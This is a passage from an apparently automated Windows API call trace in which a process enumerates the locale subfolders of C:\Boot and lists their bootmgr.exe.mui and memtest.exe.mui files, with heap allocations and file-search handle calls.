	[0134.029] FindNextFileW (in: hFindFile=0x5dd280, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0134.029] FindNextFileW (in: hFindFile=0x5dd280, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0134.029] FindNextFileW (in: hFindFile=0x5dd280, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0134.030] FindClose (in: hFindFile=0x5dd280 | out: hFindFile=0x5dd280) returned 1
	[0134.030] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.030] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0134.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.030] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd440
	[0134.030] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.030] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0134.030] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0134.030] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0134.031] FindClose (in: hFindFile=0x5dd440 | out: hFindFile=0x5dd440) returned 1
	[0134.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.031] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0134.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.031] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd740
	[0134.035] FindNextFileW (in: hFindFile=0x5dd740, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.035] FindNextFileW (in: hFindFile=0x5dd740, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0134.035] FindNextFileW (in: hFindFile=0x5dd740, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0134.035] FindNextFileW (in: hFindFile=0x5dd740, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0134.036] FindClose (in: hFindFile=0x5dd740 | out: hFindFile=0x5dd740) returned 1
	[0134.036] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.036] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0134.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.036] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd540
	[0134.037] FindNextFileW (in: hFindFile=0x5dd540, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.037] FindNextFileW (in: hFindFile=0x5dd540, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0134.038] FindNextFileW (in: hFindFile=0x5dd540, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0134.038] FindClose (in: hFindFile=0x5dd540 | out: hFindFile=0x5dd540) returned 1
	[0134.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.038] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0134.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.038] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd000
	[0134.038] FindNextFileW (in: hFindFile=0x5dd000, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.038] FindNextFileW (in: hFindFile=0x5dd000, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0134.038] FindNextFileW (in: hFindFile=0x5dd000, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0134.038] FindNextFileW (in: hFindFile=0x5dd000, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0134.038] FindClose (in: hFindFile=0x5dd000 | out: hFindFile=0x5dd000) returned 1
	[0134.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.039] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0134.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.039] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd540
	[0134.244] FindNextFileW (in: hFindFile=0x5dd540, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.244] FindNextFileW (in: hFindFile=0x5dd540, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0134.244] FindNextFileW (in: hFindFile=0x5dd540, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0134.244] FindNextFileW (in: hFindFile=0x5dd540, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0134.244] FindClose (in: hFindFile=0x5dd540 | out: hFindFile=0x5dd540) returned 1
	[0134.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.245] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0134.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.245] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd0c0
	[0134.246] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.246] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0134.246] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0134.246] FindClose (in: hFindFile=0x5dd0c0 | out: hFindFile=0x5dd0c0) returned 1
	[0134.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.246] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0134.246] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.246] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd440
	[0134.247] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.247] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0134.247] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0134.247] FindClose (in: hFindFile=0x5dd440 | out: hFindFile=0x5dd440) returned 1
	[0134.247] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
